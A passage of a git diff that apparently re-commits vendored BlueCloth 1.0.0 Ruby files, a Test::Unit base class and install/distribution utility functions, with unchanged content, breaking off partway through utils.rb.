- $stderr.puts( msg ) if $VERBOSE - @method_name = :skipped_test - end - - - def skipped_test # :nodoc: - end - - - ### Add the specified +block+ to the code that gets executed by #setup. - def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end - - - ### Add the specified +block+ to the code that gets executed by #teardown. - def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end - - - ### Instance alias for the like-named class method. - def message( *msgs ) - self.class.message( *msgs ) - end - - - ### Instance alias for the like-named class method - def debugMsg( *msgs ) - self.class.debugMsg( *msgs ) - end - - - ### Output a separator line made up of length of the specified - ### char. - def writeLine( length=75, char="-" ) - $stderr.puts "\r" + (char * length ) - end - - - ### Output a header for delimiting tests - def printTestHeader( desc ) - return unless $VERBOSE || $DEBUG - message ">>> %s <<<" % desc - end - - - ### Try to force garbage collection to start. - def collectGarbage - a = [] - 1000.times { a << {} } - a = nil - GC.start - end - - - ### Output the name of the test as it's running if in verbose mode. - def run( result ) - $stderr.puts self.name if $VERBOSE || $DEBUG - - # Support debugging for individual tests - olddb = nil - if $DebugPattern && $DebugPattern =~ @method_name - olddb = $DEBUG - $DEBUG = true - end - - super - - $DEBUG = olddb unless olddb.nil? - end - - - ############################################################# - ### E X T R A A S S E R T I O N S - ############################################################# - - ### Negative of assert_respond_to - def assert_not_respond_to( obj, meth ) - msg = "%s expected NOT to respond to '%s'" % - [ obj.inspect, meth ] - assert_block( msg ) { - !obj.respond_to?( meth ) - } - end - - - ### Assert that the instance variable specified by +sym+ of an +object+ - ### is equal to the specified +value+. The '@' at the beginning of the - ### +sym+ will be prepended if not present. - def assert_ivar_equal( value, object, sym ) - sym = "@#{sym}".intern unless /^@/ =~ sym.to_s - msg = "Instance variable '%s'\n\tof <%s>\n\texpected to be <%s>\n" % - [ sym, object.inspect, value.inspect ] - msg += "\tbut was: <%s>" % object.instance_variable_get(sym) - assert_block( msg ) { - value == object.instance_variable_get(sym) - } - end - - - ### Assert that the specified +object+ has an instance variable which - ### matches the specified +sym+. The '@' at the beginning of the +sym+ - ### will be prepended if not present. - def assert_has_ivar( sym, object ) - sym = "@#{sym}" unless /^@/ =~ sym.to_s - msg = "Object <%s> expected to have an instance variable <%s>" % - [ object.inspect, sym ] - assert_block( msg ) { - object.instance_variables.include?( sym.to_s ) - } - end - - end # class TestCase - -end # class BlueCloth - +#!/usr/bin/ruby +# +# This is an abstract test case class for building Test::Unit unit tests for the +# BlueCloth module. It consolidates most of the maintenance work that must be +# done to build a test file by adjusting the $LOAD_PATH appropriately, as well +# as adding some other useful methods that make building, maintaining, and using +# the tests for programming much easier (IMHO). See the docs for Test::Unit for +# more info on the particulars of unit testing. +# +# == Synopsis +# +# # Allow the test to be run from anywhere: +# if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) +# basedir = File::dirname( __FILE__ ) +# require File::join( basedir, 'bctestcase' ) +# end +# +# class MySomethingTest < BlueCloth::TestCase +# def setup +# super() +# @foo = 'bar' +# end +# +# def test_00_something +# obj = nil +# assert_nothing_raised { obj = MySomething::new } +# assert_instance_of MySomething, obj +# assert_respond_to :myMethod, obj +# end +# +# end +# +# == Rcsid +# +# $Id: bctestcase.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# +# == Authors +# +# * Michael Granger +# +#:include: COPYRIGHT +# +#--- +# +# Please see the file COPYRIGHT in the 'docs' directory for licensing details. +# + +$DebugPattern ||= nil + +begin + basedir = File::dirname( File::dirname(__FILE__) ) + unless $LOAD_PATH.include?( "#{basedir}/lib" ) + $LOAD_PATH.unshift "#{basedir}/lib" + end +end + +require "test/unit" +require "bluecloth" + + +class BlueCloth + + ### The abstract base class for BlueCloth test cases. + class TestCase < Test::Unit::TestCase + + @methodCounter = 0 + @setupBlocks = [] + @teardownBlocks = [] + class << self + attr_accessor :methodCounter, :setupBlocks, :teardownBlocks + end + + + ### Inheritance callback -- adds @setupBlocks and @teardownBlocks ivars + ### and accessors to the inheriting class. + def self::inherited( klass ) + klass.module_eval { + @setupBlocks = [] + @teardownBlocks = [] + + class << self + attr_accessor :setupBlocks, :teardownBlocks + end + } + klass.methodCounter = 0 + end + + + + ### Output the specified msgs joined together to + ### STDERR if $DEBUG is set. + def self::debugMsg( *msgs ) + return unless $DEBUG + self.message "DEBUG>>> %s" % msgs.join('') + end + + ### Output the specified msgs joined together to + ### STDOUT. + def self::message( *msgs ) + $stderr.puts msgs.join('') + $stderr.flush + end + + + ### Add a setup block for the current testcase + def self::addSetupBlock( &block ) + self.methodCounter += 1 + newMethodName = "setup_#{self.methodCounter}".intern + define_method( newMethodName, &block ) + self.setupBlocks.push newMethodName + end + + ### Add a teardown block for the current testcase + def self::addTeardownBlock( &block ) + self.methodCounter += 1 + newMethodName = "teardown_#{self.methodCounter}".intern + define_method( newMethodName, &block ) + self.teardownBlocks.unshift newMethodName + end + + + ############################################################# + ### I N S T A N C E M E T H O D S + ############################################################# + + ### A dummy test method to allow this Test::Unit::TestCase to be + ### subclassed without complaining about the lack of tests. + def test_0_dummy + end + + + ### Forward-compatibility method for namechange in Test::Unit + def setup( *args ) + self.class.setupBlocks.each {|sblock| + debugMsg "Calling setup block method #{sblock}" + self.send( sblock ) + } + super( *args ) + end + alias_method :set_up, :setup + + + ### Forward-compatibility method for namechange in Test::Unit + def teardown( *args ) + super( *args ) + self.class.teardownBlocks.each {|tblock| + debugMsg "Calling teardown block method #{tblock}" + self.send( tblock ) + } + end + alias_method :tear_down, :teardown + + + ### Skip the current step (called from #setup) with the +reason+ given. + def skip( reason=nil ) + if reason + msg = "Skipping %s: %s" % [ @method_name, reason ] + else + msg = "Skipping %s: No reason given." % @method_name + end + + $stderr.puts( msg ) if $VERBOSE + @method_name = :skipped_test + end + + + def skipped_test # :nodoc: + end + + + ### Add the specified +block+ to the code that gets executed by #setup. + def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end + + + ### Add the specified +block+ to the code that gets executed by #teardown. + def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end + + + ### Instance alias for the like-named class method. + def message( *msgs ) + self.class.message( *msgs ) + end + + + ### Instance alias for the like-named class method + def debugMsg( *msgs ) + self.class.debugMsg( *msgs ) + end + + + ### Output a separator line made up of length of the specified + ### char. + def writeLine( length=75, char="-" ) + $stderr.puts "\r" + (char * length ) + end + + + ### Output a header for delimiting tests + def printTestHeader( desc ) + return unless $VERBOSE || $DEBUG + message ">>> %s <<<" % desc + end + + + ### Try to force garbage collection to start. + def collectGarbage + a = [] + 1000.times { a << {} } + a = nil + GC.start + end + + + ### Output the name of the test as it's running if in verbose mode. + def run( result ) + $stderr.puts self.name if $VERBOSE || $DEBUG + + # Support debugging for individual tests + olddb = nil + if $DebugPattern && $DebugPattern =~ @method_name + olddb = $DEBUG + $DEBUG = true + end + + super + + $DEBUG = olddb unless olddb.nil? + end + + + ############################################################# + ### E X T R A A S S E R T I O N S + ############################################################# + + ### Negative of assert_respond_to + def assert_not_respond_to( obj, meth ) + msg = "%s expected NOT to respond to '%s'" % + [ obj.inspect, meth ] + assert_block( msg ) { + !obj.respond_to?( meth ) + } + end + + + ### Assert that the instance variable specified by +sym+ of an +object+ + ### is equal to the specified +value+. The '@' at the beginning of the + ### +sym+ will be prepended if not present. + def assert_ivar_equal( value, object, sym ) + sym = "@#{sym}".intern unless /^@/ =~ sym.to_s + msg = "Instance variable '%s'\n\tof <%s>\n\texpected to be <%s>\n" % + [ sym, object.inspect, value.inspect ] + msg += "\tbut was: <%s>" % object.instance_variable_get(sym) + assert_block( msg ) { + value == object.instance_variable_get(sym) + } + end + + + ### Assert that the specified +object+ has an instance variable which + ### matches the specified +sym+. The '@' at the beginning of the +sym+ + ### will be prepended if not present. + def assert_has_ivar( sym, object ) + sym = "@#{sym}" unless /^@/ =~ sym.to_s + msg = "Object <%s> expected to have an instance variable <%s>" % + [ object.inspect, sym ] + assert_block( msg ) { + object.instance_variables.include?( sym.to_s ) + } + end + + end # class TestCase + +end # class BlueCloth + diff --git a/vendor/bluecloth-1.0.0/utils.rb b/vendor/bluecloth-1.0.0/utils.rb index c7b4f917..f543b63a 100755 --- a/vendor/bluecloth-1.0.0/utils.rb +++ b/vendor/bluecloth-1.0.0/utils.rb @@ -1,553 +1,553 @@ -# -# Install/distribution utility functions -# $Id: utils.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ -# -# Copyright (c) 2001-2004, The FaerieMUD Consortium. -# -# This is free software. You may use, modify, and/or redistribute this -# software under the terms of the Perl Artistic License. (See -# http://language.perl.com/misc/Artistic.html) -# - - -BEGIN { - require 'find' - - begin - require 'readline' - include Readline - rescue LoadError => e - $stderr.puts "Faking readline..." - def readline( prompt ) - $stderr.print prompt.chomp - return $stdin.gets.chomp - end - end -} - -class File - Win32Exts = %w{.exe .com .bat} - - def self::which( prog, path=ENV['PATH'] ) - path.split(File::PATH_SEPARATOR).each {|dir| - # If running under Windows, look for prog + extensions - if File::ALT_SEPARATOR - ext = Win32Exts.find_all {|ext| - f = File::join(dir, prog+ext) - File::executable?(f) && !File::directory?(f) - } - ext.each {|f| - f = File::join( dir, prog + f ).gsub(%r:/:,'\\') - if block_given? then yield( f ) else return f end - } - else - f = File::join( dir, prog ) - if File::executable?( f ) && ! File::directory?( f ) - if block_given? then yield(f) else return f end - end - end - } - end - -end - - -module UtilityFunctions - - # The list of regexen that eliminate files from the MANIFEST - ANTIMANIFEST = [ - /makedist\.rb/, - /\bCVS\b/, - /~$/, - /^#/, - %r{docs/html}, - %r{docs/man}, - /\bTEMPLATE\.\w+\.tpl\b/, - /\.cvsignore/, - /\.s?o$/, - ] - AMRegexp = Regexp::union( *ANTIMANIFEST ) - - # Set some ANSI escape code constants (Shamelessly stolen from Perl's - # Term::ANSIColor by Russ Allbery and Zenin - AnsiAttributes = { - 'clear' => 0, - 'reset' => 0, - 'bold' => 1, - 'dark' => 2, - 'underline' => 4, - 'underscore' => 4, - 'blink' => 5, - 'reverse' => 7, - 'concealed' => 8, - - 'black' => 30, 'on_black' => 40, - 'red' => 31, 'on_red' => 41, - 'green' => 32, 'on_green' => 42, - 'yellow' => 33, 'on_yellow' => 43, - 'blue' => 34, 'on_blue' => 44, - 'magenta' => 35, 'on_magenta' => 45, - 'cyan' => 36, 'on_cyan' => 46, - 'white' => 37, 'on_white' => 47 - } - - ErasePreviousLine = "\033[A\033[K" - - - ############### - module_function - ############### - - # Create a string that contains the ANSI codes specified and return it - def ansiCode( *attributes ) - return '' unless /(?:vt10[03]|xterm(?:-color)?|linux)/i =~ ENV['TERM'] - attr = attributes.collect {|a| AnsiAttributes[a] ? AnsiAttributes[a] : nil}.compact.join(';') - if attr.empty? - return '' - else - return "\e[%sm" % attr - end - end - - - # Test for the presence of the specified library, and output a - # message describing the test using nicename. If nicename - # is nil, the value in library is used to build a default. - def testForLibrary( library, nicename=nil ) - nicename ||= library - message( "Testing for the #{nicename} library..." ) - found = false - - begin - require library - rescue LoadError => err - message "no found (%s)\n" % err.message - else - message "found\n" - found = true - end - - return found - end - - - # Test for the presence of the specified library, and output a - # message describing the problem using nicename. If - # nicename is nil, the value in library is used - # to build a default. If raaUrl and/or downloadUrl are - # specified, they are also use to build a message describing how to find the - # required library. If fatal is true, a missing library - # will cause the program to abort. - def testForRequiredLibrary( library, nicename=nil, raaUrl=nil, downloadUrl=nil, fatal=true ) - nicename ||= library - unless testForLibrary( library, nicename ) - msgs = [ "You are missing the required #{nicename} library.\n" ] - msgs << "RAA: #{raaUrl}\n" if raaUrl - msgs << "Download: #{downloadUrl}\n" if downloadUrl - if fatal - abort msgs.join('') - else - errorMessage msgs.join('') - end - end - return true - end - - ### Output msg as a ANSI-colored program/section header (white on - ### blue). - def header( msg ) - msg.chomp! - $stderr.puts ansiCode( 'bold', 'white', 'on_blue' ) + msg + ansiCode( 'reset' ) - $stderr.flush - end - - ### Output msg to STDERR and flush it. - def message( msg ) - $stderr.print ansiCode( 'cyan' ) + msg + ansiCode( 'reset' ) - $stderr.flush - end - - ### Output the specified msg as an ANSI-colored error message - ### (white on red). - def errorMessage( msg ) - message ansiCode( 'bold', 'white', 'on_red' ) + msg + ansiCode( 'reset' ) - end - - ### Output the specified msg as an ANSI-colored debugging message - ### (yellow on blue). - def debugMsg( msg ) - return unless $DEBUG - msg.chomp! - $stderr.puts ansiCode( 'bold', 'yellow', 'on_blue' ) + ">>> #{msg}" + ansiCode( 'reset' ) - $stderr.flush - end - - ### Erase the previous line (if supported by your terminal) and output the - ### specified msg instead. - def replaceMessage( msg ) - print ErasePreviousLine - message( msg ) - end - - ### Output a divider made up of length hyphen characters. - def divider( length=75 ) - puts "\r" + ("-" * length ) - end - alias :writeLine :divider - - ### Output the specified msg colored in ANSI red and exit with a - ### status of 1. - def abort( msg ) - print ansiCode( 'bold', 'red' ) + "Aborted: " + msg.chomp + ansiCode( 'reset' ) + "\n\n" - Kernel.exit!( 1 ) - end - - ### Output the specified promptString as a prompt (in green) and - ### return the user's input with leading and trailing spaces removed. - def prompt( promptString ) - promptString.chomp! - return readline( ansiCode('bold', 'green') + "#{promptString}: " + ansiCode('reset') ).strip - end - - ### Prompt the user with the given promptString via #prompt, - ### substituting the given default if the user doesn't input - ### anything. - def promptWithDefault( promptString, default ) - response = prompt( "%s [%s]" % [ promptString, default ] ) - if response.empty? - return default - else - return response - end - end - - ### Search for the program specified by the given progname in the - ### user's PATH, and return the full path to it, or nil if - ### no such program is in the path. - def findProgram( progname ) - ENV['PATH'].split(File::PATH_SEPARATOR).each {|d| - file = File.join( d, progname ) - return file if File.executable?( file ) - } - return nil - end - - ### Using the CVS log for the given file attempt to guess what the - ### next release version might be. This only works if releases are tagged - ### with tags like 'RELEASE_x_y'. - def extractNextVersionFromTags( file ) - message "Attempting to extract next release version from CVS tags for #{file}...\n" - raise RuntimeError, "No such file '#{file}'" unless File.exists?( file ) - cvsPath = findProgram( 'cvs' ) or - raise RuntimeError, "Cannot find the 'cvs' program. Aborting." - - output = %x{#{cvsPath} log #{file}} - release = [ 0, 0 ] - output.scan( /RELEASE_(\d+)_(\d+)/ ) {|match| - if $1.to_i > release[0] || $2.to_i > release[1] - release = [ $1.to_i, $2.to_i ] - replaceMessage( "Found %d.%02d...\n" % release ) - end - } - - if release[1] >= 99 - release[0] += 1 - release[1] = 1 - else - release[1] += 1 - end - - return "%d.%02d" % release - end - - - ### Write a new manifest file with the given +named+, moving any current one - ### aside with an ".old" suffix if +backup+ is true. - def makeManifest( name="MANIFEST", backup=true ) - message "Making manifest file '#{name}'" - - # Move an old one aside if a backup is desired - if backup and File::exists?( name ) - File::rename( name, name + ".old" ) - end - - File::open( name, File::WRONLY|File::TRUNC|File::CREAT ) {|ofh| - Find::find( "." ) do |file| - Find.prune if AMRegexp =~ file - Find.prune if %r{/\.} =~ file - Find.prune if /TEMPLATE/ =~ file - next if File::directory?( file ) - - ofh.puts file - end - } - end - - - ### Read the specified manifestFile, which is a text file - ### describing which files to package up for a distribution. The manifest - ### should consist of one or more lines, each containing one filename or - ### shell glob pattern. - def readManifest( manifestFile="MANIFEST" ) - message "Reading manifest..." - raise "Missing #{manifestFile}, please remake it" unless File.exists? manifestFile - - manifest = IO::readlines( manifestFile ).collect {|line| - line.chomp - }.select {|line| - line !~ /^(\s*(#.*)?)?$/ - } - - filelist = [] - for pat in manifest - $stderr.puts "Adding files that match '#{pat}' to the file list" if $VERBOSE - filelist |= Dir.glob( pat ).find_all {|f| FileTest.file?(f)} - end - - message "found #{filelist.length} files.\n" - return filelist - end - - - ### Given a filelist like that returned by #readManifest, remove - ### the entries therein which match the Regexp objects in the given - ### antimanifest and return the resultant Array. - def vetManifest( filelist, antimanifest=ANITMANIFEST ) - origLength = filelist.length - message "Vetting manifest..." - - for regex in antimanifest - if $VERBOSE - message "\n\tPattern /#{regex.source}/ removed: " + - filelist.find_all {|file| regex.match(file)}.join(', ') - end - filelist.delete_if {|file| regex.match(file)} - end - - message "removed #{origLength - filelist.length} files from the list.\n" - return filelist - end - - ### Combine a call to #readManifest with one to #vetManifest. - def getVettedManifest( manifestFile="MANIFEST", antimanifest=ANTIMANIFEST ) - vetManifest( readManifest(manifestFile), antimanifest ) - end - - ### Given a documentation catalogFile, extract the title, if - ### available, and return it. Otherwise generate a title from the name of - ### the CVS module. - def findRdocTitle( catalogFile="docs/CATALOG" ) - - # Try extracting it from the CATALOG file from a line that looks like: - # Title: Foo Bar Module - title = findCatalogKeyword( 'title', catalogFile ) - - # If that doesn't work for some reason, try grabbing the name of the CVS - # repository the directory belongs to. - if title.nil? && File::directory?( "CVS" ) && - File::exists?( "CVS/Repository" ) - title = File::read( "CVS/Repository" ).chomp - end - - # As a last resort, use the name of the project directory - if title.nil? - distdir = File::dirname( __FILE__ ) - distdir = File::dirname( distdir ) if /docs$/ =~ distdir - title = File::basename( distdir ) - end - - return title - end - - ### Given a documentation catalogFile, extract the name of the file - ### to use as the initally displayed page. If extraction fails, the - ### +default+ will be used if it exists. Returns +nil+ if there is no main - ### file to be found. - def findRdocMain( catalogFile="docs/CATALOG", default="README" ) - - # Try extracting it from the CATALOG file from a line that looks like: - # Main: Foo Bar Module - main = findCatalogKeyword( 'main', catalogFile ) - - # Try to make some educated guesses if that doesn't work - if main.nil? - basedir = File::dirname( __FILE__ ) - basedir = File::dirname( basedir ) if /docs$/ =~ basedir - - if File::exists?( File::join(basedir, default) ) - main = default - end - end - - return main - end - - - ### Given a documentation catalogFile, extract an upload URL for - ### RDoc. - def findRdocUpload( catalogFile="docs/CATALOG" ) - findCatalogKeyword( 'upload', catalogFile ) - end - - - ### Given a documentation catalogFile, extract a CVS web frontend - ### URL for RDoc. - def findRdocCvsURL( catalogFile="docs/CATALOG" ) - findCatalogKeyword( 'webcvs', catalogFile ) - end - - - ### Given a documentation catalogFile, try extracting the given - ### +keyword+'s value from it. Keywords are lines that look like: - ### # : - ### Returns +nil+ if the catalog file was unreadable or didn't contain the - ### specified +keyword+. - def findCatalogKeyword( keyword, catalogFile="docs/CATALOG" ) - val = nil - - if File::exists? catalogFile - message "Extracting '#{keyword}' from CATALOG file (%s).\n" % catalogFile - File::foreach( catalogFile ) {|line| - debugMsg( "Examining line #{line.inspect}..." ) - val = $1.strip and break if /^#\s*#{keyword}:\s*(.*)$/i =~ line - } - end - - return val - end - - - ### Given a documentation catalogFile, which is in the same format - ### as that described by #readManifest, read and expand it, and then return - ### a list of those files which appear to have RDoc documentation in - ### them. If catalogFile is nil or does not exist, the MANIFEST - ### file is used instead. - def findRdocableFiles( catalogFile="docs/CATALOG" ) - startlist = [] - if File.exists? catalogFile - message "Using CATALOG file (%s).\n" % catalogFile - startlist = getVettedManifest( catalogFile ) - else - message "Using default MANIFEST\n" - startlist = getVettedManifest() - end - - message "Looking for RDoc comments in:\n" if $VERBOSE - startlist.select {|fn| - message " #{fn}: " if $VERBOSE - found = false - File::open( fn, "r" ) {|fh| - fh.each {|line| - if line =~ /^(\s*#)?\s*=/ || line =~ /:\w+:/ || line =~ %r{/\*} - found = true - break - end - } - } - - message( (found ? "yes" : "no") + "\n" ) if $VERBOSE - found - } - end - - ### Open a file and filter each of its lines through the given block a - ### line at a time. The return value of the block is used as the - ### new line, or omitted if the block returns nil or - ### false. - def editInPlace( file ) # :yields: line - raise "No block specified for editing operation" unless block_given? - - tempName = "#{file}.#{$$}" - File::open( tempName, File::RDWR|File::CREAT, 0600 ) {|tempfile| - File::unlink( tempName ) - File::open( file, File::RDONLY ) {|fh| - fh.each {|line| - newline = yield( line ) or next - tempfile.print( newline ) - } - } - - tempfile.seek(0) - - File::open( file, File::TRUNC|File::WRONLY, 0644 ) {|newfile| - newfile.print( tempfile.read ) - } - } - end - - ### Execute the specified shell command, read the results, and - ### return them. Like a %x{} that returns an Array instead of a String. - def shellCommand( *command ) - raise "Empty command" if command.empty? - - cmdpipe = IO::popen( command.join(' '), 'r' ) - return cmdpipe.readlines - end - - ### Execute a block with $VERBOSE set to +false+, restoring it to its - ### previous value before returning. - def verboseOff - raise LocalJumpError, "No block given" unless block_given? - - thrcrit = Thread.critical - oldverbose = $VERBOSE - begin - Thread.critical = true - $VERBOSE = false - yield - ensure - $VERBOSE = oldverbose - Thread.critical = false - end - end - - - ### Try the specified code block, printing the given - def try( msg, bind=nil ) - result = nil - if msg =~ /^to\s/ - message = "Trying #{msg}..." - else - message = msg - end - - begin - rval = nil - if block_given? - rval = yield - else - file, line = caller(1)[0].split(/:/,2) - rval = eval( msg, bind, file, line.to_i ) - end - - result = rval.inspect - rescue Exception => err - if err.backtrace - nicetrace = err.backtrace.delete_if {|frame| - /in `(try|eval)'/ =~ frame - }.join("\n\t") - else - nicetrace = "Exception had no backtrace" - end - - result = err.message + "\n\t" + nicetrace - ensure - puts result - end - end - - def time - start = Time::now - stimes = Process::times - rval = yield - etimes = Process::times - $stderr.puts "Time elapsed: %0.5f user, %0.5f system (%0.5f wall clock seconds)" % [ - etimes.utime - stimes.utime, - etimes.stime - stimes.stime, - Time::now.to_f - start.to_f, - ] - - return rval - end - -end +# +# Install/distribution utility functions +# $Id: utils.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# +# Copyright (c) 2001-2004, The FaerieMUD Consortium. +# +# This is free software. You may use, modify, and/or redistribute this +# software under the terms of the Perl Artistic License. (See +# http://language.perl.com/misc/Artistic.html) +# + + +BEGIN { + require 'find' + + begin + require 'readline' + include Readline + rescue LoadError => e + $stderr.puts "Faking readline..." + def readline( prompt ) + $stderr.print prompt.chomp + return $stdin.gets.chomp + end + end +} + +class File + Win32Exts = %w{.exe .com .bat} + + def self::which( prog, path=ENV['PATH'] ) + path.split(File::PATH_SEPARATOR).each {|dir| + # If running under Windows, look for prog + extensions + if File::ALT_SEPARATOR + ext = Win32Exts.find_all {|ext| + f = File::join(dir, prog+ext) + File::executable?(f) && !File::directory?(f) + } + ext.each {|f| + f = File::join( dir, prog + f ).gsub(%r:/:,'\\') + if block_given? then yield( f ) else return f end + } + else + f = File::join( dir, prog ) + if File::executable?( f ) && ! File::directory?( f ) + if block_given? then yield(f) else return f end + end + end + } + end + +end + + +module UtilityFunctions + + # The list of regexen that eliminate files from the MANIFEST + ANTIMANIFEST = [ + /makedist\.rb/, + /\bCVS\b/, + /~$/, + /^#/, + %r{docs/html}, + %r{docs/man}, + /\bTEMPLATE\.\w+\.tpl\b/, + /\.cvsignore/, + /\.s?o$/, + ] + AMRegexp = Regexp::union( *ANTIMANIFEST ) + + # Set some ANSI escape code constants (Shamelessly stolen from Perl's + # Term::ANSIColor by Russ Allbery and Zenin + AnsiAttributes = { + 'clear' => 0, + 'reset' => 0, + 'bold' => 1, + 'dark' => 2, + 'underline' => 4, + 'underscore' => 4, + 'blink' => 5, + 'reverse' => 7, + 'concealed' => 8, + + 'black' => 30, 'on_black' => 40, + 'red' => 31, 'on_red' => 41, + 'green' => 32, 'on_green' => 42, + 'yellow' => 33, 'on_yellow' => 43, + 'blue' => 34, 'on_blue' => 44, + 'magenta' => 35, 'on_magenta' => 45, + 'cyan' => 36, 'on_cyan' => 46, + 'white' => 37, 'on_white' => 47 + } + + ErasePreviousLine = "\033[A\033[K" + + + ############### + module_function + ############### + + # Create a string that contains the ANSI codes specified and return it + def ansiCode( *attributes ) + return '' unless /(?:vt10[03]|xterm(?:-color)?|linux)/i =~ ENV['TERM'] + attr = attributes.collect {|a| AnsiAttributes[a] ? AnsiAttributes[a] : nil}.compact.join(';') + if attr.empty? + return '' + else + return "\e[%sm" % attr + end + end + + + # Test for the presence of the specified library, and output a + # message describing the test using nicename. If nicename + # is nil, the value in library is used to build a default. + def testForLibrary( library, nicename=nil ) + nicename ||= library + message( "Testing for the #{nicename} library..." ) + found = false + + begin + require library + rescue LoadError => err + message "no found (%s)\n" % err.message + else + message "found\n" + found = true + end + + return found + end + + + # Test for the presence of the specified library, and output a + # message describing the problem using nicename. If + # nicename is nil, the value in library is used + # to build a default. If raaUrl and/or downloadUrl are + # specified, they are also use to build a message describing how to find the + # required library. If fatal is true, a missing library + # will cause the program to abort. + def testForRequiredLibrary( library, nicename=nil, raaUrl=nil, downloadUrl=nil, fatal=true ) + nicename ||= library + unless testForLibrary( library, nicename ) + msgs = [ "You are missing the required #{nicename} library.\n" ] + msgs << "RAA: #{raaUrl}\n" if raaUrl + msgs << "Download: #{downloadUrl}\n" if downloadUrl + if fatal + abort msgs.join('') + else + errorMessage msgs.join('') + end + end + return true + end + + ### Output msg as a ANSI-colored program/section header (white on + ### blue). + def header( msg ) + msg.chomp! + $stderr.puts ansiCode( 'bold', 'white', 'on_blue' ) + msg + ansiCode( 'reset' ) + $stderr.flush + end + + ### Output msg to STDERR and flush it. + def message( msg ) + $stderr.print ansiCode( 'cyan' ) + msg + ansiCode( 'reset' ) + $stderr.flush + end + + ### Output the specified msg as an ANSI-colored error message + ### (white on red). + def errorMessage( msg ) + message ansiCode( 'bold', 'white', 'on_red' ) + msg + ansiCode( 'reset' ) + end + + ### Output the specified msg as an ANSI-colored debugging message + ### (yellow on blue). + def debugMsg( msg ) + return unless $DEBUG + msg.chomp! + $stderr.puts ansiCode( 'bold', 'yellow', 'on_blue' ) + ">>> #{msg}" + ansiCode( 'reset' ) + $stderr.flush + end + + ### Erase the previous line (if supported by your terminal) and output the + ### specified msg instead. + def replaceMessage( msg ) + print ErasePreviousLine + message( msg ) + end + + ### Output a divider made up of length hyphen characters. + def divider( length=75 ) + puts "\r" + ("-" * length ) + end + alias :writeLine :divider + + ### Output the specified msg colored in ANSI red and exit with a + ### status of 1. + def abort( msg ) + print ansiCode( 'bold', 'red' ) + "Aborted: " + msg.chomp + ansiCode( 'reset' ) + "\n\n" + Kernel.exit!( 1 ) + end + + ### Output the specified promptString as a prompt (in green) and + ### return the user's input with leading and trailing spaces removed. + def prompt( promptString ) + promptString.chomp! + return readline( ansiCode('bold', 'green') + "#{promptString}: " + ansiCode('reset') ).strip + end + + ### Prompt the user with the given promptString via #prompt, + ### substituting the given default if the user doesn't input + ### anything. + def promptWithDefault( promptString, default ) + response = prompt( "%s [%s]" % [ promptString, default ] ) + if response.empty? + return default + else + return response + end + end + + ### Search for the program specified by the given progname in the + ### user's PATH, and return the full path to it, or nil if + ### no such program is in the path. + def findProgram( progname ) + ENV['PATH'].split(File::PATH_SEPARATOR).each {|d| + file = File.join( d, progname ) + return file if File.executable?( file ) + } + return nil + end + + ### Using the CVS log for the given file attempt to guess what the + ### next release version might be. This only works if releases are tagged + ### with tags like 'RELEASE_x_y'. + def extractNextVersionFromTags( file ) + message "Attempting to extract next release version from CVS tags for #{file}...\n" + raise RuntimeError, "No such file '#{file}'" unless File.exists?( file ) + cvsPath = findProgram( 'cvs' ) or + raise RuntimeError, "Cannot find the 'cvs' program. Aborting." + + output = %x{#{cvsPath} log #{file}} + release = [ 0, 0 ] + output.scan( /RELEASE_(\d+)_(\d+)/ ) {|match| + if $1.to_i > release[0] || $2.to_i > release[1] + release = [ $1.to_i, $2.to_i ] + replaceMessage( "Found %d.%02d...\n" % release ) + end + } + + if release[1] >= 99 + release[0] += 1 + release[1] = 1 + else + release[1] += 1 + end + + return "%d.%02d" % release + end + + + ### Write a new manifest file with the given +named+, moving any current one + ### aside with an ".old" suffix if +backup+ is true. + def makeManifest( name="MANIFEST", backup=true ) + message "Making manifest file '#{name}'" + + # Move an old one aside if a backup is desired + if backup and File::exists?( name ) + File::rename( name, name + ".old" ) + end + + File::open( name, File::WRONLY|File::TRUNC|File::CREAT ) {|ofh| + Find::find( "." ) do |file| + Find.prune if AMRegexp =~ file + Find.prune if %r{/\.} =~ file + Find.prune if /TEMPLATE/ =~ file + next if File::directory?( file ) + + ofh.puts file + end + } + end + + + ### Read the specified manifestFile, which is a text file + ### describing which files to package up for a distribution. The manifest + ### should consist of one or more lines, each containing one filename or + ### shell glob pattern. + def readManifest( manifestFile="MANIFEST" ) + message "Reading manifest..." + raise "Missing #{manifestFile}, please remake it" unless File.exists? manifestFile + + manifest = IO::readlines( manifestFile ).collect {|line| + line.chomp + }.select {|line| + line !~ /^(\s*(#.*)?)?$/ + } + + filelist = [] + for pat in manifest + $stderr.puts "Adding files that match '#{pat}' to the file list" if $VERBOSE + filelist |= Dir.glob( pat ).find_all {|f| FileTest.file?(f)} + end + + message "found #{filelist.length} files.\n" + return filelist + end + + + ### Given a filelist like that returned by #readManifest, remove + ### the entries therein which match the Regexp objects in the given + ### antimanifest and return the resultant Array. + def vetManifest( filelist, antimanifest=ANITMANIFEST ) + origLength = filelist.length + message "Vetting manifest..." + + for regex in antimanifest + if $VERBOSE + message "\n\tPattern /#{regex.source}/ removed: " + + filelist.find_all {|file| regex.match(file)}.join(', ') + end + filelist.delete_if {|file| regex.match(file)} + end + + message "removed #{origLength - filelist.length} files from the list.\n" + return filelist + end + + ### Combine a call to #readManifest with one to #vetManifest. + def getVettedManifest( manifestFile="MANIFEST", antimanifest=ANTIMANIFEST ) + vetManifest( readManifest(manifestFile), antimanifest ) + end + + ### Given a documentation catalogFile, extract the title, if + ### available, and return it. Otherwise generate a title from the name of + ### the CVS module. + def findRdocTitle( catalogFile="docs/CATALOG" ) + + # Try extracting it from the CATALOG file from a line that looks like: + # Title: Foo Bar Module + title = findCatalogKeyword( 'title', catalogFile ) + + # If that doesn't work for some reason, try grabbing the name of the CVS + # repository the directory belongs to. + if title.nil? && File::directory?( "CVS" ) && + File::exists?( "CVS/Repository" ) + title = File::read( "CVS/Repository" ).chomp + end + + # As a last resort, use the name of the project directory + if title.nil? + distdir = File::dirname( __FILE__ ) + distdir = File::dirname( distdir ) if /docs$/ =~ distdir + title = File::basename( distdir ) + end + + return title + end + + ### Given a documentation catalogFile, extract the name of the file + ### to use as the initally displayed page. If extraction fails, the + ### +default+ will be used if it exists. Returns +nil+ if 